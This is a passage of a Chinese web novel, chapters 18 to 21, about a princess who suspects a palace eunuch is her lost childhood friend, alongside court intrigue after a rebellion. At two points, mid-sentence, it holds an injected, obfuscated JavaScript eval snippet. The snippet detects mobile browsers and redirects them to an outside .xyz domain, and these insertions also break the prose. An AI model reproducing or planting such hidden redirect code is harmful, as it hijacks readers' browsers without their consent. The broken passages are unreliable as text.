曲长生几乎是跳起来连声否认:“不可能!绝不可能!那是个宦...” 他忽的咬紧牙关将最后一个字吞了回去,喘着粗气,红着眼睛瞪视着赵琦,满身都在表达着他对这种可能的抗拒。他不能接受,焦毓绝对不可能变成太监,那是焦毓啊,怎么能... 赵琦被他情绪激烈的反应吓了一跳,她原本只是随口试探一下,没想到曲长生会如此激动。 曲长生不待她再问,绷紧双唇拔步便往外走。 赵琦没有追上去,她复又将目光落向焦勖。 原来是真的像啊,所以她之前那些鬼迷心窍的举动,毫无道理的荒谬念头,全都并非凭空臆想。 他...真的会是焦毓吗? 定定地看了会儿,赵琦提步朝焦勖走了过去。 是还是不是,试一试不就知道了。 不管焦毓变成什么样,他能活着,她都很高兴。他能活着,她们还有机会再见面,还有什么比这更值得高兴呢。 “焦大人可忙完了,可有空帮我一个忙?” 她忽然靠近,焦勖不妨,脊背瞬时一僵,嘴上忙笑着温声答应。 “难得郡主有事用得上臣,郡主直管吩咐便是。” 赵琦的目光轻轻扫过焦勖微微绷直的脊背,面上的笑意愈发深了。 他好像真的很怕她啊。 “我有些佛经急着得抄完,偏我的侍女今日有些不舒服,劳烦焦大人随我至帐中帮我研个墨,多谢了。” 赵琦一面说着一面转身往自己的营帐走。 不想是要去她帐中,焦勖迟疑了瞬,见赵琦已回头停住等他,抿了抿唇,只得跟了上去。 掀帘入了帐内,焦勖愈发将脸垂低,眼神只盯着足下的方寸之地,唯恐看见了什么不该看的东西,冒犯了赵琦。 赵琦笑着走至床铺旁的矮案内侧坐下,一手支颐,姿态闲适地半歪着身子望着低垂着眉眼仍旧立在帘边,自入帐后身体肉眼可见的僵硬起来的焦勖,伸手拍了拍长案右侧的坐褥,温声说道。 “焦大人请坐。” 焦勖面上维持着笑意,顿了顿,朝赵琦走了过去。到底还是不敢近身坐在靠近她的那侧,他在贴近案角的地方屈膝半跪下,倾身拿起长案上装水的净瓶,往案上方砚里倒过少许水,垂着眉眼一手扶砚一手握着墨条,眼观鼻鼻观心地专注研墨。 赵琦见他半蹲在案角,极尽所能地展现着恭顺和小心翼翼,心下分外不是滋味,倘若他真是焦毓,到底是什么样的经历,将昔年那个不卑不亢的骄傲少年变成如今这幅谨小慎微的模样。 赵琦心中这样想着,面上却并不显,只伸手将右侧案下的坐褥推到焦勖腿边,温声开口:“坐着吧,也不是一时半会儿就能完的事,蹲久了腿该疼了。” 她说完也不看焦勖,将经书翻到未抄的那页,提笔蘸墨接着抄了下去。余光里瞥见对面那人顿了顿,矮身在软垫上坐了下去,赵琦抿唇笑了。 帐中渐渐安静下来,只余笔墨擦过纸张和墨条均匀的打着旋儿摩擦着 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“臣在京中并无家舍,身无长物,四海皆可为家,倒还算自在。” “焦大人不是京城人士吗,那焦大人老家是哪里?” 赵琦似乎当真只是闲聊,状似无意地随口问道。 “臣幼时便入了宫,不记得家乡是何处了。” “这样啊。” 也不知赵琦信是未信,只听她很快丢过不提,笑着又问:“焦大人之前有去过陆州吗?” 这话问得太过直白,焦勖提笔的手微顿,忙敛了情绪笑着摇头:“臣离京的次数不多,并未去过陆州。” 焦勖神色平静地说完,提笔在信纸上落款收尾,仍旧垂着眼,将信纸递给赵琦,恭声问:“郡主看看这样写可还行?” 赵琦并不伸手接信,扫了一眼上面全然陌生的字迹,目光重又落在焦勖脸上。 她盯着焦勖异常平静的脸看了半天,方才伸手将信纸接了过来,笑了笑:“陆州挺美的,有机会我请焦大人去陆州做客。” “那臣便先谢过郡主了。” 见赵琦不再追问,埋首重又抄经去了,焦勖悄悄松了口气,如果此刻还听不出赵琦在试探他,他这些年便是白活了。 也许是长生同她说了什么,她那时太小了,不可能还会记得他。焦勖自己也说不清他到底想不想要被她认出来,分明是害怕被她看到如今的模样的,可是心底深处,有一个微弱的声音却又始终不肯死心。 求求了,有没有人,他不想一个人孤零零地待在那个漆黑可怖的世界里,那里好冷,好黑,一点声音都没有,只有他那颗将死未死的心还在苟延残喘地跳动着,痴心妄想着有一日能被救赎。 赵琦笔下虽不停地抄写着经文,心思却全不在那上面,焦勖在撒谎。往常在她面前动不动就僵硬无措的人,方才却出奇地镇定,平静得就像他知道她为什么问那些话。 她原本是有更简单直接的方法可以确认的,焦毓的右侧腰眼上有一枚一寸见方大小的梅花状胎记,可是她总不能为了逼他承认去扒他的衣服吧。 赵琦恨恨地瞥了眼焦勖的腰,最好别逼她耍流氓。 19. 第 19 章 自古以来离间计就万分好用,因为人和人之间的信任从来都是这世上极其稀有的东西。 浩浩荡荡的平叛大军扎营在距离张振占领的沧州城八十里地外,却并不发起进攻。 赵琮每日只遣一先锋营至沧州城外绕四门击鼓气定神闲地宣读招降令,言明:遵宁王亲谕,凡城中将领,无论大小,除谋逆主犯张振外,现下只要肯悔过,领兵出城来降,一律免除死罪,家小不予追责。若谁能提张振首级来见,则过往一切罪责功过相抵,仍令其官居原职。 一连七日,先锋营的士兵日日谈笑晏晏好似郊游般地至沧州城外敲锣打鼓地叫喊宣读招降令,读完便走。 这是明晃晃的离间计,沧州城内所有人都明白,同时也知道,谋逆这样的死罪,如何能轻易抹除。只是万一呢,万一是真的,非但自己能活,还能保下家小,更若心狠手辣些,也许还能保住官职富贵。 人心啊,是最经不起考验的东西。 叛军自随张振反起,已连战两月,早已人疲心困,且兼岐王已被擒,原本许诺予他们的加官进爵荣华富贵已成镜花水月。 跟随张振的这些叛军将领眼下之所以仍旧咬牙奋死顽抗,是因为他们已经没有了退路。从他们堵上合家大小的性命谋反的那一刻开始,如若不能成事,便只有死路一条。 横竖都是死,反倒没了顾忌,为了多活一日,便也愈杀愈勇。 如今必死的路上忽然出现了一条活路,任谁能不心动。 耳闻得招降令的第一日起,张振的脸色便铁青着再未好过,人人都有活路,独他必死无疑。张振再看昔日那些同生共死的麾下将领,心中疑心日重,杀意顿起,只觉个个都心怀鬼胎,不知何时就会背叛他,趁他不妨要了他的性命。 局已设毕,只待请君入瓮。 周恺曲长生陈大鹰等率领的平叛主力趁此时机在后方抓紧时间休整备战,静待叛军自相残杀之际,即可趁势将其一网打尽。 七日过后,未及有人出城投降,城中传出消息,张振已先按捺不住动手杀了麾下两名大将,杀戮的火焰瞬时被点燃,其他尚且还在摇摆的张振麾下将领眼见着张振疑神疑鬼,少不得明日死得就是自己,哪里还肯坐以待毙,趁夜领了亲军就欲出城纳降,被张振得知,两厢人马在城中打杀了起来。 张振这边军心大乱,沧州城内乱做一团,有人趁机打开城门,早已伺机等候多日的周恺曲长生陈大鹰率军趁势杀入城中,活捉了张振,剿灭叛军数万人。 祸乱大历两月有余的岐王张振之乱自此终才平息。 此时已是六月初了,自三月上旬离开陆州,进京这条路,赵琦足足走了有近三月,从桃红杏白春风宜人直行到了暑气扰人的盛夏。 赵琮前日已命平叛大军停在京师百里外驻扎,听候论功行赏,除却原本奉命前来迎护的奉迎使团并三千京营士兵,只带了周恺曲长生陈大鹰等将领并五千南直隶兵士随行,以押解岐王张振和河南都指挥使李韬等。 车窗外蝉鸣阵阵,时辰尚早,天气还算凉爽,赵琦穿着一身素色纱衫,斜倚在铺着竹席的褥垫上打着盹。 昨夜抄了一宿的经书,方才赶在入京前将那本子佛经抄了完,正困倦得紧。 睡得正熟时,忽闻郁离轻轻叫她。 “郡主,到京城了,王爷请您下去。” 赵琦揉了揉眼睛,扬手舒展了会儿肩背人方才完全清醒过来。展衣掀帘下车,十数丈高的巍峨城楼便径直跃入眼帘,其恢弘气势,庄重肃穆,果然是京师才有的气度。 早已有内阁领着朝中文武百官在城外恭候多时,甫一见着赵琮的车驾,都急急地迎了上来,跪地叩安,一溜齐整的人声高声喊着:“臣等叩见殿下,殿下千岁千岁千千岁!” 赵琮忙下了车温声叫起,首辅韩敏领着内阁的徐长春刘一鹤上前来,连连哽咽道:“殿下,老臣等可算是把您盼来了。” 一面说着一面将礼部理好的登基大典事宜面呈了于赵琮,恭声细细地说与他听。 帝位空悬已三月有余,又刚经了一遭岐王之乱,朝野上下正急需新君来安定人心。因此内阁也等不得叫赵琮先入宫歇上一日,待沐浴焚香过后择取吉时登基,此刻便就要他赶紧即了位好叫人心快快安定下来。 张振甫一落网,韩敏便立时急急地命礼部将一应登基大典筹备完毕,又遣了武英侯曹达带了消息去迎赵琮。 眼下万事俱备,只等着赵琮去行登基大典。 赵琮看毕,笑道:“这些时日辛苦阁老们了,既已准备妥当,那便按阁老们的意思办吧。只是遗憾到底没能见着皇兄一面,登基之前,本王和郡主合该先行问了太后的安,行过礼,方才不失了礼数。” 一面说着一面将赵琦请了过来。 彼时建武帝七七四十九日停灵期已满,灵体早已送往帝陵安葬了。 见了赵琦,韩敏等忙都行礼问好,口中答应着:“殿下所言极是,太后娘娘苦苦盼着殿下和郡主入京,此刻也正在宫中等着呢,知道殿下心中时刻挂念着她老佛爷,必能稍感慰藉,抚慰陛下新丧之痛。” 说着便恭声请赵琮和赵琦上车,摆驾直入宫中。 入宫见了冯太后,冯太后既见她姐弟一到京先便来仁寿宫同她问安,再见赵琦和赵琮俱都是一身素服,心中便十分受用,不觉红了眼圈,一手拉着一个,嘴里哽咽道:“好孩子们,哀家可算是见着你们了,以后咱们娘几个一处过活,你们只管把哀家当你们自己的娘亲一般,有什么事只管同哀家说,以后哀家疼你们。” 冯太后体态丰腴,眉眼富贵,面上带着长辈的宽厚慈爱。虽已五十多岁的人了,因着数十年如一日的养尊处优,又无甚多烦恼之事,如今看着也不过只像四十多的样子。 冯太后如此说,赵琦便也笑着顺着她的话软语应道:“太后疼我们,我们日后便倚着太后撑腰了。” 赵琮也含笑应声,又略略说了几句家常,赵琮便被内阁催着接去了登基大典。 赵琦将手抄的佛经呈了给冯太后,低头说原是想着在陛下灵前用的,也算是她做妹妹的一点心意,谁知还是没福气,未能赶上见陛下一面。 冯太后最是喜经爱佛的一个人,见了她亲抄的经文,又听了她这番话,心里如何能不喜欢,忙伸手接了经文交予一旁的金嬷嬷,红着眼圈拉着赵琦的手,笑道:“好孩子,难为你有心了,路上这样不太平,还费神赶着抄了这佛经出来。” 一面说着一面牵着赵琦的手拉着她挨着自己坐下,含笑往赵琦脸上细细端详了片刻,把她上下又打量了一遍。 但见她眉如远山,目似明星,容貌秀丽,身量高挑,相貌虽非十分出众,难得的是一身飞扬神采,纵使此刻通身的素色衣裳也掩不住那份夺目光彩,心下便愈发怜爱。 “瞧瞧,多好一个孩子,真是招人喜欢。” 冯太后转头笑着对一旁侍立的金嬷嬷说着,又回过身拉着赵琦的手问她:“可有许了人家,若是还没,叫哀家好好帮你相看相看,保管帮你挑一个又会疼人品貌才情又美的如意郎君回来。” 不想冯太后的话说着说着忽然就拐到了她的婚配事宜上,赵琦只得笑着低下头,假意羞囧了似的轻声回说。 “旧年琦儿常听祖母讲太后和先帝的事迹,琦儿虽比不得太后您的人品气度,心里却也痴心想着也要找一个一生一世只我跟他的人。祖母疼我,在世时便允了琦儿婚嫁之事由我自己做主,后来祖母和父王先后亡故,便就顾不得想这些事了。” 冯太后是个任意行事惯了的主,既起了意,便自为是件好事,听了只笑道:“可见是缘分还未到,好孩子,你只管放心,这京中别的不多,品性端方才貌双全的世家公子最是不缺,你且等着,哀家细细地打听着,保管给你物色一个风流俊俏且会疼人的好郎君来。到时有哀家给你撑腰,必叫他不敢娶妾纳小,只一心一意对你一个好。” 没想到千尊万贵的皇太后也是个热衷给人说媒拉纤的,赵琦心底暗暗蹙眉,面上却只低头笑着不说话。 该说她这位皇伯母是天真呢还是养尊处优过久遂生出了人心皆可任意掌控把玩的错觉,世上纵使两情相悦的且还有那么多最后磋磨成一对怨偶的,又怎么能期望单凭皇权施威就叫一个人一生一世一心一意,昔年她那位皇姑奶奶永嘉公主不就是个现成的例子。 见赵琦只含笑不语,冯太后便以为她是害了羞,笑了笑,再要张 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抬眼见赵瑟一身箭袖戎装,手里还拿着马鞭,明眸皓齿,容貌秀丽,眼角眉梢三分风流七分桀骜,又听她方才所言,想京中才经了这样大的一场乱,而她却无事人般,仍旧纵情玩乐,心里便知这是个被宠坏了的小公主。 冯太后见了赵瑟,面上愈发笑得开颜了,冲她嗔怪道:“还不快来见过你姐姐,多早晚就知道瞎玩,这样热的天还去校场同那些个臭气哄哄的人胡闹,中了暑可不是好顽的。” 冯太后说着,转头又笑着同赵琦介绍道:“这是你妹妹赵瑟,平日最喜欢骑马射箭舞刀弄枪的,我总说她没个姑娘家的样子,得亏是生在了皇帝家当女儿,不然往后哪里去给她说婆家。” 冯太后嘴里虽数落着,面上却不知多欢喜。 赵琦又怎会看不出来,且她自己也不遑多让,听了遂笑道:“昔年太祖爷马背上打下来的江山,咱们家的女儿合该会些弓马骑射方才不辱没了太/祖的威名,妹妹这样才是极好的。” 冯太后自然不知道她是话中有话,只是她既夸了赵瑟,当母亲的如何能不喜欢,嘴里却仍旧道:“了不得了,往后再有你这个姐姐也纵着她,越发要上天入地了。” “母后也不说点女儿的好,好不容易把姐姐盼来了,姐姐才刚见着我,当着姐姐的面母后却尽顾数落女儿去了,姐姐要是一时当了真,吓着了,回头不与女儿亲近了,女儿可不依了。” 赵瑟笑着走上前来,一把搂住冯太后的臂弯在她另一侧坐了,偏头望着赵琦,似真似假地嗔道:“母后望眼欲穿地将姐姐盼了来,果然姐姐一来,我这个亲女儿便被比得同个泥人似的了。母后也不肯疼我了,眼里只有姐姐,好歹以后姐姐多疼疼我。” 这话听着倒没什么,只是赵瑟望着她的眼睛叫人并不怎么舒服。赵琦轻轻笑了笑,直直地回望着赵瑟的眼睛,虽不知什么原因,但这小丫头似乎对她有些敌意呢。 冯太后未及听完,笑着轻轻在她身上打了一下,嗔怪道:“没良心的丫头,在你姐姐面前尽编排你母后,你倒是说说,母后几时不疼你了?” 赵瑟见赵琦眸光不躲不闪,含笑直直地回望着自己,眼里若隐若现着看小孩胡闹的散漫,唇角的笑意不觉滞了滞。 及至听见冯太后的话,方才又起了笑顺势滚进冯太后怀里撒娇告饶:“儿臣错了,母后最疼儿臣了,儿臣也最疼母后。” 她一面撒着娇一面又偏头同赵琦笑道:“姐姐别当真,我开玩笑呢,姐姐不知道这宫里多闷,我又没个姊妹,这下好了,姐姐来了,往后我可有人一道玩了。” “多大人了还赖着母后撒娇,也不嫌热,快起来。” 冯太后笑着帮赵瑟理了理头发,转头对赵琦道:“好孩子,哀家越看你是越喜欢,这几日你陪着哀家住,咱们娘俩亲近亲近。” 赵瑟起身的动作一顿,才又笑着侧过脸看着赵琦道:“姐姐快些答应母后,妹妹带你在宫里四处逛逛,咱们姊妹也亲近亲近。” 赵琦将一切都看在眼中,面上却只笑道:“那琦儿便叨扰太后几日,陪太后解解闷。” 既来之则安之,她倒要看看这位小公主想做些什么。 20. 第 20 章 斜绾堕马髻,起手点绛唇,赵琦任凭仁寿殿内的宫女们倒腾。 她昨夜一宿未睡,白天又陪着冯太后说了半日的话,不曾歇歇便又被告知宫中夜里设了宴,要犒赏平定岐王之乱的功臣,宴请文武百官并其家眷。 冯太后见她只随身带了两个侍女和一个老嬷嬷,忙命贴身侍奉的宫女们拥了她去沐浴更衣,又将素日服侍自己妆发的几个侍人分了与她施妆梳头。 宫中妆发喜繁复精巧,光是梳个头敷个面就折腾了近一个时辰,赵琦本就困倦得紧,偏一堆人在她头上脸上轻缠慢绾,涂涂抹抹,她睡又不得睡,只能干坐着熬时辰。 正自昏昏欲睡时,忽听仁寿殿掌妆的大宫女笑着回冯太后说好了。 赵琦如获大赦,忙醒了醒神睁开眼来。 面前立着一屏大妆镜,赵琦睁眼看去,只见镜中那张脸上,额上点着精巧的芙蓉花钿,黛眉红唇胭脂面,分明仍是自己的眉眼,却较往常添了三分风流妍丽,好看自是好看的,就是她往常从未装扮得这样浓丽过,一时还不太习惯。 “琦儿过来,给哀家看看。” 冯太后早已妆毕,正歪在一旁的春塌上和目养神,听了宫女的话睁开眼来,笑着朝赵琦招招手。 赵琦忙起身走了过去。 “真真个好模样,这样一打扮,越发俏丽了,只是这头上的珠钗还是素简了些。” 冯太后说着拉了赵琦的手叫她俯身,抬手将自己鬓边的一支五彩立翅金钗摘下插入赵琦鬓间,换掉了她头上那支赤金衔珠凤钗,退开身子看了看,方才满意地笑了。 “再添上这钗子就正合适了。这支攒珠累丝金凤钗原本是一对,一支给了你妹妹,如今这支便给你了,这些宝珠凤钗的,正该你们这些女孩戴着才最是好看,哀家看着也喜欢。” 赵琦听了这话,便也不推拒,笑着挽住冯太后的手:“那是太后眼光好,知道什么钗子配什么衣裳好看,琦儿谢太后。” 正说着,忽闻环佩玎珰之声,赵琦抬头,只见赵瑟被一群花红柳绿的宫人们簇拥着款步走进殿来。 但见她云鬓香腮,珠环翠绕,一身石榴红的纱裙衬得整张脸愈发地浓艳。 赵瑟本就生得标致,如今又精心装扮过了一番,便愈发地娇若春江之水,艳若海棠春睡,真好一朵人间富贵花。 赵瑟款步入殿,打眼便见赵琦挽着冯太后的手正说笑着。 她的目光悄悄往赵琦身上脸上溜了一圈,眸光中隐有倨傲之色,及至目光落在赵琦鬓上斜插的那支立翅金钗上时,眸中的笑意忽的一顿。 赵瑟今日头上插的正也是这支钗子。 她讨厌别人跟她用一样的东西,自小到大,她有的无论是衣裳首饰,还是吃的喝的玩的,都是独一份的。 她是大历独一无二的公主,合该拥有这世上最好的一切,眼前这凭空冒出的藩王的女儿,凭什么跟她戴一样的钗子。 赵瑟此刻只觉赵琦连着她鬓间的那支立翅金钗,俱都都变得分外碍眼。 她想拔了那女人头上的钗子,赵瑟紧紧攥住腰间的如意宫绦,面上勉强维持着笑。 赵瑟脸上的笑别扭极了,赵琦又不是瞎子,怎会看不到。只是她眼下又困又乏,实在没工夫去猜小丫头的心思。左右只要她无故别来招惹她,她便也懒得理会。 宫人们入殿来说凤辇软轿已备好,请太后公主和郡主摆驾御花园,冯太后便一手拉了一个,正要上轿,赵瑟忽然笑着软语道。 “母后,你带姐姐先去,儿臣有东西忘了拿,一会儿我自己过去。” 冯太后疑惑:“什么要紧的东西,遣个婢女回去拿便是了。” 赵瑟不答,只是撒娇:“母后先去嘛,反正儿臣一会儿自己过去就是了,再说这宮宴也没什么新鲜的,每年都是那些歌啊舞的,儿臣也早就看腻了。” 说这话时,她斜睨着眼睛轻轻瞥了赵琦一眼。 这种小孩子炫耀华贵衣裳般的行径实在有够无聊,赵琦轻嗤了一声,都懒得多看一眼。 冯太后禁不住她撒娇,笑着摆摆手:“罢了罢了,母后也不管你了,你姐姐今年头回来,人生地不熟的,母后先带她过去认认人,往后住在京中也能有几个走动解闷的去处。” 冯太后和赵琦刚一出了院子,赵瑟立时便甩下了脸,扬手扯下头上的金钗,回身一个巴掌将方才替她梳头的宫女扇翻在地。 “谁让你挑这支钗子的,俗气死了!” 手里的钗子在那宫女的脸上划出一道寸许长的口子,连带着一个深红的巴掌印。 那宫女被她迁怒,一声也不敢辩驳,慌忙爬起来跪地垂首。 赵瑟发了一通脾气,犹不解恨,沉声叫过近身侍奉的大宫女:“明月,把这钗子拿去浣衣局,不拘什么奴才,赏她了,本宫再也不想看到它。” 想跟她戴一样的东西,赵瑟冷笑,去跟奴才戴吧。 明月素知赵瑟脾气的,虽也惧她,但这到底是冯太后的东西,她不敢接,只得轻声劝道:“公主,这毕竟是娘娘送您的东西,给浣衣局那起上不得台面的奴才是不是太...” 她话未说完被赵瑟斜眼冷冷地看过来,忙禁了声不敢再劝。 “奴婢明白了,奴婢这就去办。” 御花园中宫灯灼灼,直照得夜如白昼。 赵琦远远地看见焦勖垂首侍立在赵琮身后,他照旧是那身一丝不苟的绯色蟒袍,温眉软目的垂着脸,面上挂着的笑意温淡也疏离。 自那日把他骗到帐中问过那一回话后,他就有意无意地开始躲着自己,只他是随侍琮儿的人,纵使有心想躲她又能躲到哪里去,总不能连琮儿也一并不见了。 她约略有些明白他为什么不愿意她和长生哥他们找到他,连长生哥这个局外人尚且还不能接受他宦官的身份,想来他自己必也不能坦然面对。 宫刑...应该很疼吧。 焦毓曾经是那样骄傲的一个人,她不知道他这些年是怎么挨过来的,但她确定,那绝不会是件容易的事。 赵琦叹了口气,他想藏就先让他藏着吧,难道他不承认自己是焦毓,就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735165|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲开她了不成。 男宾女眷分了两处席面,文臣武将们随着赵琮在正园,女眷们则围着冯太后在隔了一丛蔷薇花架的小花园里叙家常。 赵琮过来陪着冯太后说了两句家常,悄悄问赵琦可还习惯。赵琦知道他往后且有一段日子要忙得焦头烂额,笑着悄声叫他不要担心自己,冯太后对她很好。 赵琮这才放了心,笑着敬了冯太后一回酒,留下焦勖在这边席面侍奉,便又忙忙地回那边席面应酬去了。 焦勖垂着脸,眼睛从始至终不敢往赵琦裙面以上看。 她今晚很美,美得叫他心惊胆战,美得他哪怕多看一眼,都是亵渎。 他不配的,很久以前,他就已经没有资格了。 赵琦看了焦勖好几眼,偏他一如既往地垂着脸犹如老僧入定,除了布菜传酒,其余时候恨不得离自己十万八千里远。 她是有毒不成,沾了能要他的命。 赵琦越看越气,难得她今天打扮得这么好看,就不值得他高抬尊眼瞅一眼吗。 赵琦兀自生着闷气,心不在焉地应付着离席上前来敬酒的众家诰命小姐们。 她也记不清冯太后今晚给她介绍了多少人,反正她只要温柔端庄地笑就好。 恨恨地瞥了一眼又躲开老远去了的焦勖,赵琦忽听冯太后笑着悄声拉她。 “方才过来闹的那几个孩子,浓眉大眼的那个是武英侯曹达家的嫡长孙,那孩子模样品性都不错,现跟着祖父在京营中历练。容长脸一身书卷气的那个,是英国公家的老三,长得最秀丽的那个,是卫国公家的老幺,那孩子最小,今年方才十六,还在国子监念书,这几个都还未曾婚配,你瞧瞧,可有中意的?” 什么浓眉大眼容长脸,她一个都没记住,她光顾着看焦勖去了。 冯太后这一问,赵琦下意识又去看焦勖。 冯太后说这话时,焦勖正弯腰在给冯太后布菜,他怔了怔。 哦,原来冯太后已经在给她说亲了。也该是时候了,她迟早有一天都是要嫁人的,这一天本就已经迟了很久很久了。 他一直等着这一天呢,等着自己彻底死心。 她会有个敬重疼爱她的夫君,生几个乖巧可爱的孩子,夫君会陪着她饮刀快马,去看她想看的大漠孤烟,碧波凌云,潮平海阔,江南烟雨。她们一家人会相亲相爱,到老了,孩子们围在火炉边,听她讲那些年轻时万里路上行侠仗义的故事。 你要离她远点,再远一点。 她值得这世上最好的人,最好的事,她会像长生他们一样,有自己的孩子,自己的家。 你要祝福她。 焦勖端着汤碗的手微微发着颤,几滴热汤倏尔就溅到了手背上。 他皮肤本就生得细白,手背上立时便红肿一片,他却恍若未觉般,只顿了顿,愈发垂低了眉眼,低着头只管布菜添酒,好似那是多么了不得需要他凝神屏气才能做好的事。 赵琦见他手背被烫红了一片,暗暗蹙眉,偏冯太后在近前,又不能拉他去处理,顿时便烦躁起来。 21. 第 21 章 久不见赵琦应声,冯太后只以为她年轻姑娘面嫩羞于开口,笑道:“丫头别怕羞,男大当婚女大当嫁是亘古不变的人伦常理,你只管放心大胆的挑,旁的自有哀家与你撑腰做主。” 冯太后是长辈,琮儿眼下刚刚登基,亲政之前,少不得还有许多事要她襄协。这样一件小事,没必要下她的面子让她不痛快,她若不想,任谁也不能逼着她嫁。 赵琦不喜欢心口不一,但此刻却不得不耐着性子虚与委蛇。 她敛了敛神,勉强将浮躁的情绪压下,脸上堆起笑寻了句话出来应付。 “太后看得上眼的人自然都是极好的,只是琦儿尚在孝期...” 她话只说一半,便顿住口低着头不再言语。 冯太后也记不得她几时出孝,听了这话倒不好再多说什么,忙笑着轻拍她的手背:“好孩子,哀家知道你孝顺,也不急在这一时,咱们只慢慢相看,多挑几个,你能有个好归宿,老太妃她们泉下有知,必也喜欢。” 又闲话了两句,一时又有公侯家的诰命们来敬酒,冯太后便笑着同她们吃酒叙家常去了。 赵琦得了空,忙悄声叫过郁离回去取烫伤膏来,又嘱咐她另备一盒吃食,点心要甜糯些的,备好了只在园外等她,她一会儿自有用处。 戏台上咿咿呀呀的曲子你方唱罢我登场,直听得赵琦头昏眼塞,等了许久,终于等到冯太后精神渐乏,起身要退。 冯太后年老之人,白日拉着赵琦叙了一回家常,未曾歇过午觉,此时说笑了一回,又饮了三巡酒,精力便有些难以支撑。她笑着嘱咐赵琦好生赏灯,多玩一会子,便带着金嬷嬷等回了。 赵琦笑着答应,估摸着郁离也应当回来了,遂悄声叫过文竹,命她悄悄地去找修德,就说她想去祖母旧时住的地方看看,叫赵琮一会儿席上不用找她,吩咐毕寻了个空她便也悄悄离了席。 焦勖强打着精神心不在焉地侍立在席上,直到见到赵琦悄悄起身离了席,他整个人忽然就像被抽干了气力,强撑到现在的劲头随着她的离开霎时一泄而尽,心中只余无穷无尽的疲惫和厌倦。 这般尔虞我诈勾心斗角的日子,他真的倦了。这些年,他连睡觉的时候都绷着根弦,从未有一刻敢放心踏实地去睡,生怕自己在睡梦中吐露了什么不该说的话。 他咬着牙熬到现在,双手沾满了鲜血,何谓好人何谓坏人,很多时候连他自己都快分不清了。 时常闭上眼睛时,他都万分希望可以再也不用睁开,就这么沉进那片不见光亮的世界里去反倒轻松了。 再多撑一些时日吧,等赵琮亲政,大权在握,到时她才能真正去做任何她想做的事,也再无人可以强逼她去做她不喜欢的事,他便也能安心去找他爹娘了。 “焦公公。” 忽有一个细细的嗓音悄声喊他,焦勖收敛心神凝眉望去,见是贴身侍奉赵琮的修德,正招手叫他跟他走。 焦勖面上忙重新堆起笑,一面跟着修德往外走一面温声问他。 “林公公,陛下有何事吩咐?” 修德笑着回身悄声回道:“不是陛下,是郡主有事找您,您跟我来吧。” 再也想不到会是赵琦叫他的,她不是已经走了。 焦勖的手指不自觉地蜷起,顿住步子,心中一时又无措起来。 修德不知他心中所想,见他怔怔地顿在原地,疑惑地回头望过去。 焦勖深吸了口气,终是抬腿跟了上去。 转过木香花棚,绕过曲曲折折的鹅石小径,御花园里高高低低的笙箫管乐声渐次已听不分明。 新君登基,夜开宮宴,犒赏群臣,宫里今日也跟着沾了喜气,宫女宦官们俱都得了些赏钱恩德,除了宮宴上需得侍候的宫人,其余人等跟着也讨了半日闲,有三两成群相约着远远在御花园外偷摸瞧热闹的,也有趁着主子们今日用不着人早早歇了的,是以整个皇宫,除了御花园那一片格外热闹,其他地方反倒比往日更静了。 焦勖心神不宁地跟着修德来到一处僻静的山石后。 打眼便见赵琦长身玉立静静伫立在石洞下,仰面望着半天边上一丛丛绚烂盛放的烟花。 焰火的光点忽明忽灭地打在她脸上,她的侧脸在漫天烟花里潋滟旖旎,任是无情也动人。 赵琦似有所觉,忽地回过头来,目光恰巧与焦勖的撞上。四目相对,她扬起脸冲他笑得灿烂。 焦勖的喉头滚了滚,顿时仿佛被火烧了一般,红着脸慌忙撇开眼不敢再看。 在一捧又一捧绚烂夺目的烟花爆裂声中,他扑通扑通的心跳声却仍旧清晰可闻。 焦勖死死垂着眼,听着自己如擂鼓的心跳声,心中只剩仓惶而逃一个念头。 你怎么敢,你如今怎么还敢肖想她,你已经是个不男不女的怪物了,你的任何一丁点靠近对她来说都只能是困扰,你的喜欢除了叫人恶心,还会弄脏了她。 半扇折枝花纹的藕合纱裙轻轻步入眼帘,焦勖连着往后退了两步,才强忍着惊慌无措,好歹没让自己当真就此落荒而逃。 正又惊又惧地战栗着,他的右手却忽的被赵琦握住。焦勖倏地抬头,瞪大眼睛不可思议地看着正温温柔柔凑近的赵琦。一瞬间,整个人犹如被踩了尾巴的猫,几乎是跳起来挣着就要往回抽手。 “别动!” 赵琦也不抬头,轻轻嗔了一句,用了点力握紧他颤抖着乱挣的手,温声道:“我给你上点药,你乱动我会弄疼你的。” 这样热的三伏天里,他的手怎么凉成这样,赵琦蹙了蹙眉。 焦勖挣脱不过,愈发抖得厉害了,被赵琦握着的整条手臂僵直着动也不敢动一下。 站在他身后的修德不知何时走的,连带着赵琦的两个侍女也悄没声息地不见了踪影,意识到石洞这里现下只他和赵琦两人时,焦勖的身体便越发僵硬了。 赵琦好气又好笑,他怎么年纪愈长愈往回去了,旧时她摸他抱他赖着他,他也只是红个脸啊耳朵什么的,如今倒好,她还什么都没做,只稍微走近些他就僵成块木头,好似她要吃了他似的。 赵琦任由他去了,反正次数多了他自然会慢慢习惯,日子且长着呢。 赵琦借着月光看了一回,还好,略红肿了些,不算太严重。她凑近轻轻在手背上吹了吹,焦勖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735166|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又抖了一下,愈发连整个人都僵住了。 赵琦只当不知,从药盒里抠了点药膏出来细细涂抹在他手背上红肿处。 滢绿的膏药清清凉凉,手背上火辣辣的灼痛感一层浅过一层。 